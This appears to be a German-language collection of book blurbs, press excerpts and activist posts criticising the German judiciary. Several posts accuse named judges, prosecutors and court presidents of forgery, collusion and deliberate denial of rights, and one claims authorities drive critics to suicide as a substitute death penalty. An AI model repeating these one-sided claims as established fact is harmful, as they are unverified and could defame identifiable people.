Die durch ein Tonbandprotokoll und Zeugen bewiesene Protokollfälschung wurde folgenden Personen mitgeteilt: Herrn Stoiber (damals Ministerpräsident von Bayern), Herrn Beckstein (damals Innenminister von Bayern), dem Oberlandesgericht Bamberg und der Polizeidirektion Coburg. Kurz vor der zweitinstanzlichen Landgerichtsverhandlung erstattete ein Zeuge Anzeige beim Verfassungsschutz wegen Protokollfälschung. Bis heute äußerte sich keine der Personen oder keine der Behörden dazu oder veranlasste eine Strafverfolgung der beteiligten Personen! Obwohl kein Beleg für eine Schuld erbracht werden konnte, wurde der Geschädigte als Betrüger verurteilt. Obwohl es nur um Verträge geht, wird als Beweismittel die Regierungsjuristin des Landratsamtes Coburg angeführt. Im offiziellen Gerichtsprotokoll steht dann aber nur, sie (die Regierungsjuristin) hätte sich getäuscht.

Richterin Iris Schütze (OLG Köln): Erpressung im Namen des Volkes und Geiselhaft
Wie Kriminelle sich mit kriminellen Methoden, unterstützt von der deutschen Justiz, gegen unliebsame Berichterstattung wehren können
Die Geschichte, um die es in diesem Bericht geht, beginnt im Jahre 2005. Der Initiator und damalige Inhaber des Beschwerdezentrums, Dr. Peter Niehenke, wurde damals von dem Dokumentarfilmer Michael Plümpe um Hilfe gebeten: Plümpe hatte in jahrelanger Arbeit die Szene der Branchenbuch- bzw. Adressbuchverlage analysiert und war dabei auf eine Vielzahl sog. ’schwarzer Schafe‘ gestoßen. Auf einer eigens dafür eingerichteten Homepage dokumentierte er das Geschäftsgebaren dieser schwarzen Schafe und gab den Opfern Tipps, wie sie sich erfolgreich gegen die Machenschaften dieser Betrüger wehren konnten. Er wurde völlig überrascht von der Heftigkeit der Reaktion und der Skrupellosigkeit der Akteure, die sich mit einem hohen Maß an krimineller Energie dagegen zur Wehr zu setzen versuchten, dass ihre Machenschaften nicht nur öffentlich kritisiert, sondern dass auch sogar noch Tipps für eine wirksame Gegenwehr gegeben wurden. In konzertierten Aktionen organisierten sie eine beispiellose Hetzjagd, die ihn zermürben und (zunächst nur) wirtschaftlich ruinieren sollte. Aber dies wollte nicht gelingen, denn Michael Plümpe war nicht so leicht einzuschüchtern. Daher griffen sie zu einem perfiden Mittel: Seine Familie (Frau und Kinder) wurde mit in die Hetzjagd einbezogen und damit ging es nicht mehr nur darum, ihn wirtschaftlich zu ruinieren: Nun war das Ziel, die soziale Integrität seiner ganzen Familie zu zerstören.

Roben, Richter, Rechtsverdreher, H.G. Möntmann
Schwerverbrecher werden auf freien Fuß gesetzt, Wirtschaftskriminelle entziehen sich der Strafverfolgung, während Kavaliersdelikte mit der gesamten Strenge des Gesetzes geahndet werden.
Diese Report enthüllt, dass die Justitia nicht blind ist, sondern ohnmächtig.
Und nur wer weiß, wie die Mühlen der Justiz mahlen, der wird auch sein Recht bekommen.
Kostendruck, psychologischer Druck, Ausreizung der ZPO:
Prozesse kosten Geld. Es gehört zum Allgemeinwissen, dass aus Kostengründen oft aufs Recht verzichtet wird.
Außergerichtliche Einigungen beruhen oft auf Überlegungen der Kostenoptimierung und nicht auf Wahrheitsfindung.
Die Rechtsanwälte des finanziell Stärkeren nutzen das bewusst aus.
Dazu gehört auch die Neigung, die Rechtsstreitigkeiten von das Landgericht zu bringen – die Rechtsanwälte verdienen dabei mehr und die Gegenseite benötigt unbedingt einen Anwalt – kann sich nicht selber verteidigen.

ROLF LAMPRECHT: Die Lebenslüge der Juristen. Warum Recht nicht gerecht ist
Glückssache Gerechtigkeit
Recht hält selten, was es verspricht. Es hängt von Menschen ab, und die können irren. Wie sehr und wie oft, erfuhr Rolf Lamprecht als SPIEGEL-Beobachter bei den obersten Gerichtshöfen. Er erzählt von Willkür, von Unrecht – und von beherzten Klägern, die sich, von ihrem Rechtsempfinden getrieben, bis in die höchsten Instanzen kämpfen.
Ein alter, aber unverändert gültiger Spruch sagt, jedermann sei vor Gericht und auf hoher See in Gottes Hand. Das Zitat erinnert an die irrationalen Kräfte, die dem Recht innewohnen – an die Ähnlichkeit mit einem Glücksspiel. Allein dass es von Instanz zu Instanz oft völlig entgegengesetzte Meinungen gibt, zeugt von der Relativität des Rechts. Auch von Befangenheiten – etwa der eines Familienrichters, dessen eigene Ehe mit einer Kampfscheidung endete. Ob es um Konflikte mit dem Staat oder um private Fehden, um Vaterschaftstests oder um Sterbehilfe geht – Lamprecht lässt den Leser an der Herstellung von Recht teilhaben. Das ist das Besondere an diesem Buch: Es erklärt, weshalb Recht nur die Summe vieler Teilwahrheiten ist, wie es entsteht – und wieder vergeht. Und es verrät, was Richter zu leisten vermögen und wo sie scheitern müssen.
„Lamprecht belegt mit einer solchen Fülle von Fallbeispielen, dass einem Angst werden kann bei der Vorstellung, man wäre selbst einmal auf Gedeih und Verderb solcher Beliebigkeit ausgeliefert.“ Süddeutsche Zeitung
„Lamprecht zeigt anhand kleiner und großer Entscheidungen, dass Richterrecht mehr ist als das objektive und wertfreie Suchen nach der richtigen Norm für einen Sachverhalt.“ Financial Times Deutschland
„Ein lesenswertes Buch, das zu manchem Nachdenken Anlass gibt.“ NJW- Neue Juristische Wochenschrift

„Gute Rechtsprechung“, Ein Bericht vom Juristentag
Hoffmann-Riem fasste seinen – von ihm schon vielfach literarisch dargelegten – Standpunkt in elf Thesen zu einer Warnung vor Missdeutung, Überdehnung und Missbrauch des Unabhängigkeitsbegriffs zusammen. „Auch Reformen wie die Einführung des NSM … brechen sich nicht am Prinzip der richterlichen Unabhängigkeit, müssen sich aber am Gebot der Effektivität, d.h. der Funktionsfähigkeit der Justiz messen lassen“.
Busse stellte „Respekt und Anerkennung“ für die hohe Qualität der deutschen Rechtsprechung voran, rügte den Gesetzgeber wegen des Abbaus von Rechtsmitteln und wegen sonstiger Kürzungen, verlangte von den Gerichten aber Transparenz, um gute und schlechte Richterleistungen öffentlich sichtbar werden zu lassen, die Einführung richterlicher Dienstzeiten und eine Effizienzsteigerung durch volle Ausschöpfung der Dienstaufsicht.
Stilz fand, dass es die Länder seien, die ihrer Justizgewährungspflicht nicht mehr „vollen Umfangs“ nachkämen; eine „Justiz nach Maßgabe des Haushalts“ aber könne ein Rechtsstaat sich einfach nicht leisten.
Die Justizhaushalte in den Ländern werden von den Landesregierungen beantragt. Der Deutsche Juristentag stellt fest, dass die Landesregierung bei den Haushaltsanträgen für die Justiz der verfassungsrechtlichen Justizgewährungspflicht vielfach nicht mehr in vollem Umfang nachkommen. Der Bundesgesetzgeber sollte Verfahrensregeln schaffen, die Gewähr für eine Beachtung der Justizgewährungspflicht in den Ländern bieten.

VGR, Gegen Missstände in Anwaltschaft und Justiz
wir bitten Sie sehr, sich auf diesem Parteitag der CDU auch mit dem Zustand unserer Rechtsprechung, der dritten Gewalt, zu beschäftigen. Die ehemalige Präsidentin des Bundesverfassungsgericht, Frau Prof. Dr. Jutta Limbach, hat Anfang dieses Jahrhunderts erklärt, dass zur Demokratie auch Gerechtigkeit gehört. Dieser Forderung wird die Rechtsprechung häufig nicht gerecht.
Der Rechtsanwalt Dr. Joachim Mehringer, Heidelberg, beklagt in seinem Leserbrief in der FAZ vom 31.1.2008 “erschreckende Zustände in der Justiz”.

Prof. Uwe Wesel, Risiko Rechtsanwalt
Das Buch ist in einem feuilletonistischen Stil an Rechtslaien gerichtet. Sie können sich bei einem Outsider (da kein Anwalt) kundig machen, der sich kritisch mit den Ergebnissen der Rechtspflege in Deutschland auseinandersetzt. Dass der Titel etwas zu reißerisch geraten ist, gibt Wesel selbst zu. Inhaltlich klappert der emeritierte Juraprofessor die Rechts- und Anwaltsgeschichte ab und stellt bei manchen aktuellen Tatsachenberichten die Schwächen der Anwälte ungeschminkt dar, was vielen in der Branche missfiel. Wesel schont auch die Richter nicht. In einigen Fällen referiert er krasse Fehlurteile. Allerdings werden Richter nicht nur üppig alimentiert, sondern haben – in den höheren Instanzen – auch noch reichlich Zeit, ihre Urteile nach dem geltenden Recht zu verfassen. Der wirtschaftliche Druck, der auf den Anwälten lastet, lässt die Fehlerwahrscheinlichkeit bei ihnen zwangsläufig erheblich ansteigen. Fazit: Nur zur Lektüre für Rechtsanwälte mit genügend Selbstbewusstsein zu empfehlen.

„Die Rechtsgeschichte lebt“ Interview mit Prof. Wesel
Wesel: … Meistens wissen die Studienanfänger ja selbst nicht, worauf sie sich einlassen. Sie glauben wohl, mit Jura könne man alles Mögliche machen. Die Wenigsten wollen in der Welt Gerechtigkeit durchzusetzen. Vielmehr steht die individuelle Karriere im Mittelpunkt.
Wesel: … Kaum einer weiß, dass die Rechtswissenschaft eine Herrschaftswissenschaft ist. Selbst im Studium wird das nicht gelehrt. Die Mehrzahl erhofft sich, als Richter oder Anwalt ein gutes Einkommen zu haben.
Wesel: Das Buch ist nicht nur eine Kritik an den Anwälten. Ich stelle auch positive Beispiele dar. In der Tat glaube ich aber, dass in der Anwaltschaft im Vergleich zu anderen Berufen überproportional viele Fehler gemacht werden. Das habe ich kritisiert. Ursache für diesen Umstand ist vor allem, dass Juristen eben nicht primär als Anwälte, sondern als Richter ausgebildet werden. Und im Übrigen kommt dann die eingangs erwähnte Motivation, die nicht auf Gerechtigkeit, sondern auf Umsatz und Einkommen gerichtet ist, hinzu.

Dienstaufsicht und die Verfilzung der Justiz beim Landgericht Ravensburg
(der „Vollblutpolitiker Präsident des LG-Ravensburg Hans Georgii“, wie Landrat Widmann ihn nannte)
„Präsident des Landgerichts Richter Freilich“ schrieb Franz Steinle am 15.04.2002 als Antwort auf eine Dienstaufsichtsbeschwerde des „institut voigt“ (siehe Seite 1 und 2) vom 08.04.2002, „Freilich sehe ich keinen Anlass zu Maßnahmen der Dienstaufsicht.“ (siehe Seite 3). Wie oben bereits erwähnt, ging es bei dieser Dienstaufsichtsbeschwerde um den Vorsitzenden Richter König, der Mitglied im Aufsichtsrat der Stiftung Liebenau ist. Er ist zwar aus dem Landgericht sang und klanglos verschwunden, wird aber noch auf der Liste der Aufsichtsräte der Stiftung Liebenau als „Vorsitzender Richter im Landgericht“ aufgeführt (wir verkneifen uns einen Kommentar zu der Tatsache, dass er sogar ‚Mitglied der Ethikkommission‘ ist). Wir machen einfach mit: Es ist egal, ob die Liste korrekt ist oder nicht – Hauptsache König kann mit den betitelten Personen am Aufsichtsrat mithalten. In seiner Antwort auf unsere Dienstaufsichtsbeschwerde versteigt Gerichtspräsident Steinle sich zu der Behauptung, die Täigkeit Königs im Aufsichtrat sei unbedenklich, da er dort ehrenamtlich tätig sei. Man mag es fast nicht glauben, dass er sich traut, das zu schreiben. Diese Tätigkeit hätte niemals erlaubt werden dürfen, denn die Stiftung Liebenau ist ein sehr häufiger „Kunde“ des Landgerichts und ist, vor allem, in den Fall Unternehmer B. verstrickt. Es bedarf schon fast keiner Erwähnung mehr, dass Steinle dann auch hinsichtlich der Missachtung der zwei in der Dienstaufsichtsbeschwerde genannten UN-Resolutionen eine Antwort schuldig blieb. Auch unser Vorschlag, einen Vertrag mit König abzuschließen, der ihm verbietet, die ersten 5 Jahre nach Beginn seines Ruhestands eine Anstellung bei der Stiftung Liebenau anzutreten, blieb unkommentiert.

Beweismittel geklaut, Polizei zahlt keinen Schadenersatz, Stern TV 17.06.2009
Robert Hackbarth ist Uhrenhändler und mit seinem Wagen auf dem Rückweg von einer Uhrenmesse, als er nachts von der Polizei angehalten wird. Die Beamten sind sich sicher, es mit einem Hehler zu tun zu haben -und beschlagnahmen kurzerhand wertvolle Uhren. 27 der beschlagnahmten Uhren allerdings hat Hackbarth bis heute nicht wiedergesehen. Denn: Die Polizei hatte die Rolex-Uhren per Post nach Köln geschickt, um sie beim Hersteller auf ihre Echtheit prüfen zu lassen. Doch dort kamen die Pakete, die an die „Rolex Deutschland GmbH“ adressiert waren nie an. Sie wurden an diesem Tag in der Zustellbasis gestohlen.
Dummerweise hatte der Polizeibeamte, der die Uhren verschickt hat, gleich auch die Zertifikate der Uhren mit in die Päckchen gesteckt. Und: Die Identifikationsnummern hatte er sich vorher nicht notiert.
Genau das wurde Robert Hackbarth schließlich zum Verhängnis: Über drei Instanzen verklagte er die Polizei auf Schadenersatz, zog sogar vor den Bundesgerichtshof. Da ihm aber die Dokumente fehlten, die den Wert der Uhren und ihre Echtheit bewiesen hätten, hat er keinen Anspuch auf Schadenersatz. Insgesamt hat der Uhrenhändler nun durch verschwundene Uhren, Anwalts- und Gerichtskosten rund 135.000 Euro verloren. Und mit ihnen den Glauben an die deutsche Justiz.

Christian Schäffer hat sich umgebracht, Ersatztodesstrafe der deutschen Justiz, 08.04.2009
Nicht genug damit, dass Christian Schäffer wegen Veröffentlichung der angeblich unveränderten Namen seiner Peiniger in den Pechvogel Geschichten zu über 4000 Euro verdonnert wurde. Nein, in der Gerichtsverhandlung im Amtsgericht Schwachmünchen, die passenderweise am 1. April stattfand, wurde der wegen Verleumdung Angeklagte mit folgendem Juristendeal übertölpelt:
Ihm wurde angedroht, die Zeugen, die zu seinen Gunsten hätten aussagen können, in BEUGEHAFT zu nehmen. Diese Zeugen waren der kranke Vater des Herrn Schäffer und Dr. Brosa, auf dessen Namen die Ermittlungsbehörden beim Durchsuchen von Schäffer’s Computer gestoßen waren.
Damit die Zuschauer von dieser Schweinerei nichts mitbekommen sollten, hatte die Richterin vorher verkündet: “Ich unterbreche jetzt die Verhandlung”. Dann folgte anscheinend ein Gekungel von Verteidiger, Richterin und Staatsanwältin. Die hatte sich die Sache mit der Beugehaft ausgedacht.
Der deprimierende Ausgang dieses “Prozesses” ist Herrn Schäffers Anständigkeit zuzuschreiben, der weder seinem Vater noch Herrn Dr. Brosa Haftbedingungen zumuten wollte, wie er sie selbst erlebt hat und in seinen Pechvogelgeschichten schildert (Seite 164ff).
Christian Schäffers Selbstmord kommt nicht von ungefähr. Er und sein Vater werden seit Jahren mit Prozessen überzogen. Z.B. folgte dem oben erwähnten Strafbefehl wegen angeblich falscher Verdächtigung ein Zivilprozess wegen Schmerzensgeld und Schadensersatz. Das Haus der Schäffers wurde in den letzten Jahren sechsmal durchsucht. Beim letzten Mal hatten die Vollzugsbeamten sogar schon einen Schlüssel. Schäffer junior wurde immer wieder als gefährlicher Gewalttäter gefangen gehalten, obwohl er – wie die Überwachungsaufnahmen eindeutig zeigen – angegriffen worden war. Wenige Wochen vor dem Termin am 1.4.2009 wurde er von ‘unseren’ Sicherheitskräften in einem Supermarkt festgenommen und dem Amtsarzt vorgeführt, was für ihn äußerst demütigend war, auch wenn ihn der Amtsarzt sofort entließ.
Die Behörden der BRD dürfen direkt keine Todesstrafen mehr verhängen. Als Ersatz dafür werden Leute, die sich mit Behörden anlegen, so lange gemobbt, bis sie verzweifeln und sich selbst umbringen.

Augsburger Staatsanwalt: „Dem angeschuldigten Arschloch ist ein Pflichtverteidiger zu bestellen“, 08.09.2008
Leitender Oberstaatsanwalt Reinhard Nemetz ist betroffen. Er spricht von einem „nicht akzeptablen“ Fehlverhalten seiner Behörde. „Ich muss mich bei dem Bürger ausdrücklich und in aller Form entschuldigen“, sagte Nemetz am Montag unserer Zeitung. Der Behördenchef hat eine penible Überprüfung des Vorgangs angekündigt und betont: „Ich will wissen, wer dafür verantwortlich ist.“
…Kein Wunder, dass seine beiden Verteidiger, Marko Müller (Augsburg) und Reinhard Hahn (Biblis) dies als Beleg für eine Vorverurteilung ihres Mandanten sehen. Eigentlich ist es Aufgabe der Staatsanwaltschaft, das Fazit, ob schuldig oder nicht, erst im Prozess nach Beweisaufnahme zu ziehen. Abgesehen davon muss es kein Bürger hinnehmen, als „Arschloch“ tituliert zu werden.

Querulant Dr. jur. Dr. of Law Dr. Phil. im Knast, spiegel 32/2009 Seite 36

Die berühmte Hamburger Vollzugsanstalt hat ein Problem: Unter den Häftlingen ist seit Jahren ein promovierter Jurist, der die Justiz mit Klagen überzieht.
Seine Manieren sind tadellos, seine äußere Erscheinung ist sehr gepflegt.
…Die schärfste Waffe in seinem Kampf gegen die verlotterte Justiz, ist seine alte Schreibmaschiene.
…Anstregender noch als die Schriftsätze in eigener Sache ist für die Anstaltsleitung der Umstand, dass Hausmann auch seinen Mitgefangenen in Rechtsfragen hilft. Mal kümmet er sich um die individuellen Nöte der Knackis, mal setzt er sein Know-How fürs Gemeinwohl ein. …Weil sich Hausmann angeblich nicht an Anstaltsregeln gehalten hatte, versuchte es der JVA-Chef mit der in diesem Fall drakonischen Strafe: Er ordnete 2 Tage Schreibmaschinen-Entzug an.

Präsident des OLG-Celle Dr. Peter-Wededekind Götz von Olenhusen: Bei uns wird der Anspruch auf rechtliches Gehör in hoher Qualität, im Ansehen der Person, gegenüber dem bügerlichen Pöbel mit Füßen getreten!

Gemäß dem Präsidenten Dr. Peter-Wededekind Götz von Olenhusen des OLG-Celle (34L492 vom 15.06.2009) entspricht es der Sach- und Rechtslage, dass bei Eingaben, die Bürger selbst am Gericht vornehmen hypothetisch angenommen werden muß, dass diese Fehlerhaft sind und damit ein Bürger keine Rechte bei Gericht begründen kann (Das OLG-Oldenburg entschied, dass Anwälte sogar mit fehlerhaften Eingaben bei Gericht Rechte begründen können). Desweiteren sei es auch Sach- und Rechtslage, dass am Landgericht Anträge, die von Bürgern selbst gestellt werden gegen deren rechtliches Gehör vorsätzlich zurückzuweisen sind. Er sah und sieht daher auch keinerlei Veranlassung sich für eine Verbesserung der richterlichen Fortbildung bzw. einer verbesserten Beförderungspolitik usw. einzusetzen. Es enspricht auch der Sach- und Rechtslage, dass Rechtsanwälte mit Dr.-Titeln von Bürgern darüber zu belehren sind wie ihre vertraglichen Vereinbarungen vor Gericht rechtlich korrekt zu verfassen sind, welchem diese Dr.-Anwälte dann nachkommen, es bei den rechtlichen Belehrungen aber richterlich hypothetisch anzunehmen ist, dass diese falsch sind. Etwas anderes läßt sich auch nicht vom Präsidenten des Landgerichts Bückeburg Adolf-Friedrich von Oertzen vernehmen.
Man bemüht sich zwar diese vorgenannten Aufgaben von „rechtlicher Qualität und von Bürgernähe“ auf den Internetseiten darzustellen aber gelungen ist es den Gerichtsmitarbeitern bisher noch nicht wie man sieht: http://www.oberlandesgericht-celle.niedersachsen.de, denn es fehlen sämtliche Hinweise auf eine entsprechende qualitative Tätigkeit.
„Die unabhängige Wahrung des Rechts hilft, das Vertrauen aller Bürgerinnen und Bürger in die Justiz zu sichern. Damit wir unsere Aufgaben auch künftig mit der geforderten Qualität, Effizienz und Bürgernähe erfüllen können,…
Wir möchten Ihnen auf unseren Internetseiten einen Einblick in die Geschichte, Aufgaben, Funktionen und Dienstleistungen des Oberlandesgerichts Celle geben, Sie über unser Rechts- und Gerichtssystem sowie die aktuelle Rechtsprechung informieren und Ihnen andere nützliche Serviceleistungen zur Verfügung stellen.“

Bei einer solchen qualitativen Tätigkeit von qualitativ hochwertigen Verstößen gegen das rechtliche Gehör und qualitativer und quantitativer richterlicher und anwaltlicher Dummheit würde sich so mancher Bürger überlegen ob er diese gerichtlichen Tätigkeiten überhaupt in Anspruch nehmen würde was allerdings die Justizkasse und deren der Juristenkollegen nicht klingeln läßt wofür man sich gemeinsam elitär feiert, weil man die Macht und Gewalt hat den Bürger auf diese Art und Weise auszunehmen. Wenn der Gerichtsvollzieher dann kommt und dem Bürger von allem befreit was ein lebensswertes Leben ausmacht, dann ist man auch ganz nah am Bürger. Der geschworene Amtseid ist Garant für eine entsprechende qualitative Tätigkeit.

Der ganz normale Justizwahnsinn, Zwei Urteile vom Tage, 24.02.2009
1. Das Berliner Landesarbeitsgericht hat heute die Entlassung einer Kassiererin für rechtmäßig erklärt, die zwei Pfandbons im Wert von 48 und 82 Cent unterschlagen hat. Die dreifache Mutter und zweifache Großmutter war daraufhin entlassen worden.
2. Der ehemalige Freiburger Klinik-Chef Hans-Peter Friedl hat dagegen 2.000.000 Euro Entschädigung bekommen, weil er seiner Ansicht nach zu unrecht aus dem Dienst entlassen wurde, wie man beim Südwestdeutsschen Rundfunk nachlesen kann. Der Arzt wurde im Jahr 2000 wegen Kunstfehler vom Dienst suspendiert. Unter anderem hat er einen Patienten ein zweites Mal operiert, um den Teil eines Bohrers zu entfernen, der ihm bei der ersten Operation abgebrochen war. Den Grund für die zweite OP hatte er darüberhinaus verschwiegen. Im Februar 2003 war der Arzt vom Freiburger Landgericht wegen vorsätzlicher und fahrlässiger Körperverletzung zu einer Geldstrafe von 24.300 Euro verurteilt worden. Das Urteil wurde vom Bundesgerichtshof bestätigt. Jetzt bekommt er 2 Millionen Euro Entschädigung für den Verdienst- und Rentenausfall, weil es „disziplinarrechtlich keine Aussicht auf die entschädigungslose Entfernung des Arztes aus dem Dienst gibt“, so Baden-Württembergs Wissenschaftsminister Peter Frankenberg (CDU).

10 Monate auf Bewährung für räuberischen Diebstahl eines Schweineschnitzels, LG-Bückeburg, 13.02.2004
LG Bückeburg: 3. Kleine Strafkammer (Berufungsauffangkammer)
Die 3. Kleine Strafkammer verhandelt am Freitag, 13. Februar 2004 um 08.30 Uhr die Strafsache gegen Marek B. Der Angeklagte war mit Urteil des Amtsgerichts Stadthagen vom 11. März 2003 wegen räuberischen Diebstahls zu einer Freiheitsstrafe von 10 Monaten mit Strafaussetzung zur Bewährung verurteilt worden. Dem nicht vorbestraften Angeklagten wird vorgeworfen im November 2002 in einem Supermarkt in Stadthagen abgepackte Schweineschnitzel im Wert von 2,99 € entwendet zu haben und seine Beute mit Gewalt gegen die Angestellten des Supermarktes verteidigt zu haben. Die hiergegen von dem Angeklagten gerichtete Berufung hat die 4. kleine Strafkammer am 10. Juni 2003 verworfen. Auf die Revision des Angeklagten hat das Oberlandesgericht Celle das angefechtene Urteil der 4. kleinen Strafkammer mit seinen Feststellungen aufgehoben und an eine andere Kammer des Landgerichts zurückverwiesen. Es sind sechs Zeugen geladen (Ns 11 Ls 408 Js 9247/02 (50/03)).

Gerechte Urteile oder Klassenjustiz?, Unabhängige Justiz gibt es nicht, 02.04.2009
Vorne weg will ich an die Silvesterrede von Kardinal Frings erinnern, die er am 31. Dezember 1946 gehalten hat.
„ Wir leben in Zeiten, da in der Not auch der einzelne das wird nehmen dürfen , was er zur Erhaltung seines Lebens und seiner Gesundheit notwendig hat, wenn er es auf andere Weise , durch seine Arbeit oder durch Bitten , nicht erlangen kann. „
Dafür wurde er mit dem Wort fringsen für Mundraub in der deutschen Sprache verewigt. Ganz besonders bezog er sich da auf die Plünderung der Kohlezüge der Alliierten.
Es geht mir darum aufzuzeigen, das die Umstände berücksichtigt werden sollen und um die VERHÄLTNISMÄSSIGKEIT einer eventuellen Strafe. Natürlich wollte der Kardinal nicht das Gebot „Du sollst nicht stehlen“ ausser Kraft setzen.
…Was dahinter steckt ist ganz einfach. Ich brauche nur die Umkehrfunktion zu nehmen. Die 50 Cent werden den Millionenbetrug der Reichen und der Manager gleichgestellt. Oder anders herum: Millionenbetrug ist wie Äpfelklauen. Ein Kavaliersdelikt. In der BRD werden Leute wegen winziger Beträge entlassen und Millionen Betrüger mit Millionen belohnt. Solche Verhältnisse hatten wir schon mal IM DRITTEN REICH. Da wurden durch FREISLER auch Angeklagte in übelster Weise behandelt. Nachweislich sind in Deutschland die NAZIRICHTER nicht belangt worden. Das merkt man bis heute. Jetzt wo die Verhältnisse wieder schlechter werden, will die Klassenjustiz verhindern, das die Armen wieder anfangen zu fringsen, damit die Reichen weiter in Saus und Braus leben können.
Wozu hatte Justizia eine Waage in der Hand? Doch wohl mit der Intention , das Urteile Ausgewogen seien sollen.

Niedergeschlagen, enteignet, verfolgt, unzulässige Zwangsvollstreckung, Richter Dr. Nowatius vom AG Essen
Wie der Essener Amtsrichter Dr. Nowatius für die Sparkasse Spröckhövel eine nicht titulierte, zivilrechtliche Forderung mit den Mitteln des Strafrechts durchsetzte. Nutzt er sein Amt um Pfandkehren (§ 289 StGB) für Finanzinstitute zu organisieren?
…Als ich mein Lager verließ, um in mein Büro zu gehen, standen im Treppenhaus zwei Personen, die sich mir als Gerichtsvollzieher vorstellten, Herr Thomas Schulz und Frau Iris Wontorra. Sie gaben vor, das Fahrzeug E-P 2131 pfänden zu wollen. Einen ordnungsgemäßen Beschluss überreichten sie mir nicht. Wie sich hinterher herausstellte, hatten sie auch keinen. Ich verwies auf mein Lagerhalterpfandrecht. Sie brachen die Pfändung ab, baten aber darum, sich das Fahrzeug einmal anschauen zu dürfen.
Ich schloss noch einmal die Lagertür auf und zeigte den beiden den Wagen. Durch die geöffnete Tür kamen auch die beiden Polizisten wieder ins Lager. Mein Prokurist, Herr Udo Howahl, kam ebenfalls hinzu. Er fragte die beiden Polizisten nach ihren Ausweisen: „Haben wir nicht nötig“ war ihre Antwort. Gleiches bekam ich gesagt, als ich nochmals nach einem richterlichen Beschluss fragte : „Haben wir nicht nötig.“
Selbst für mich, der ich über die finanziellen Mittel verfüge, war es schwer, einen Anwalt zu finden, der mir half. Keiner, den ich angesprochen habe, war bereit gegen diese Behördenwillkür vorzugehen. Bis heute liegen weder ein Durchsuchungsbeschluss, noch eine Beschlagnahmeanordnung, noch ein zivilrechtlicher Titel vor, die die Entfernung des Roadster aus meinem Betrieb im Sommer 2006 tragen würden.
Oberstaatsanwalt Kolpatzik, ist es seine Aufgabe in der Essener Justiz Menschen, die sich gegen Beamtenwillkür wehren, mit dubiosen und sinnlosen Anzeigen strafrechtlich zu verfolgen?
Musste Herr Oberstaatsanwalt Kolpatzik als erfahrener Jurist nicht sofort erkennen, dass in der Akte eine Begründung der Gefahr im Verzug, für den Hausdurchsuchungsbeschluss und die Beschlagnahme fehlte? Hätte Richter Dr. Nowatius dies nicht schriftlich und nachvollziehbar dokumentieren müssen? Nichts dergleichen war vorhanden. Wie konnte er hier dem Kollegen helfen?
Denn, was nicht sein darf, kann offenbar nicht sein! Er drehte den Spies um und klagte meine Leute und mich wegen Widerstandes gegen die Staatsgewalt an.
Lesen Sie selbst, anbei der Beschluss vom 4.4.07. (14b) 2. Seite, die beiden letzten Absätze. Herr Oberstaatsanwalt Kolpatzik wollte tatsächlich das Verfahren gegen meine Mitarbeiter und mich einstellen, wenn ich die Anzeige gegen die Polizisten zurückziehe! So gnädig ist er – so gut meinte er es mit mir.
Ich habe den fragwürdigen Vorschlag nicht akzeptiert. Beim nächsten Termin wurde das Verfahren eingestellt – ohne Auflagen. (15) Die Anwaltskosten meiner Mitarbeiter trug der Staat, bzw. Sie, als Steuerzahler. Meine Anwaltskosten trug ich selbst. Richter Wissel meinte, dies solle mir eine Lehre sein….
Richter und ihre Nebentätigkeiten: Bei den richterlichen Nebentätigkeiten, die zusätzlich rechtsstaatlich sehr bedenklich sind, handelt es sich hauptsächlich um folgende Tätigkeiten:
1. Treuhänder für Banken und Versicherungen
2. Vortragsredner, besonders bei Banken und Versicherungen ….
Gemäß seinem Richtereid (§ 38 Abs. 1 DRiG) hat der Richter unter anderem „ohne Ansehen der Person zu urteilen“. Kann ein Richter, der als Treuhänder von einer Bank oder einer Versicherung je Jahr ein ansehnliches Zubrot erhält, über Streitigkeiten von Kunden mit Banken oder Versicherungen noch unparteiisch urteilen? Die Lebenserfahrung schließt dies aus.

Justizposse um Hotelier aus dem Bayerischen Wald, Karl Fischl sollte als Zeuge über 4000 EUR Gerichtskosten zahlen, 25.09.2008
Deutschland ist ein Rechtsstaat und das ist gut so. Die Justiz in Deutschland ist unabhängig, und auch das ist gut so.
Aber wozu unabhängige Richter und Staatsanwälte in Deutschland fähig sind, wenn es darum geht ein Justizverfahren nach ihren Vorstellungen durchzupeitschen und Zeugen ihre Macht zu demonstrieren, zeigt der Fall des Geiersthaler Hoteliers Karl Fischl.
Der sollte neben einem Ordnungsgeld von 150 EUR auch noch die weit überzogenen Gerichtskosten von über 4.000 EUR bezahlen, weil er als Zeuge krankheitsbedingt nicht über 500 km zu einer Verhandlung anreisen konnte, obwohl er, wie nun bestätigt wurde, ein ordentliches ärztliches Attest vorgelegt hatte.
Prompt meldete sich daraufhin auch ein Redakteur des ZDF, das im Fernsehen den Fall aufgriff und darüber im Magazins WISO (04.10.2008) berichtete und das zur besten Sendezeit um 20.10 Uhr.
Und siehe da, auf einmal ruderte die Justiz in Baden Baden zurück, wie die Passauer Neue Presse (PNP) in ihrer jüngsten Ausgabe berichtet und sprach von einem bedauerlichen Irrtum. Die horrenden Gerichtskosten und auch das verhängte Ordnungsgeld seinen ein Fehler und müssten nun doch nicht vom Zeugen bezahlt werden.
So erfreulich die späte Einsicht der Justiz für den Betroffenen Hotelier auch ist, es bleibt der fade Nachgeschmack, dass man in unserem Rechtsstaat erst dann Recht bekommt, wenn man genug mediale Aufmerksamkeit bekommt. Und was der besorgte Bürger schon immer vermutete scheint hier bestätigt: Prominenz schützt eben doch manchmal vor Strafe.
Die Kosten des Verfahrens trägt nun wohl die Staatskasse – armes Deutschland …

Im Prozeß gegen Astrid Proll soll nun das Urteil verkündet werden. Selten hat ein Verfahren die Unabhängigkeit der Justiz so in Zweifel gezogen, Der Spiegel 04.02.1980, Seite 110, „Phantom beschossen“
Frankfurts Staatsanwälte sind ganz und gar unabhängig. Die Meinung ihrer Behördenchefs oder gar ein Wink aus Bonn — nichts dergleichen ficht sie an.
…Sogar die Schwurgerichtsvorsitzende Johanna Dierks, die den problemgeladenen Prozeß mit Geschick und Feingefühl um alle Klippen dirigierte, mochte ihren Unmut über eine massive Fremdsteuerung der Justiz auch schon vor dem Urteilsspruch nicht zurückhalten: „Uns stimmt es nachdenklich, auf welche Weise die Exekutive in die Rechtsprechung eingreift.“
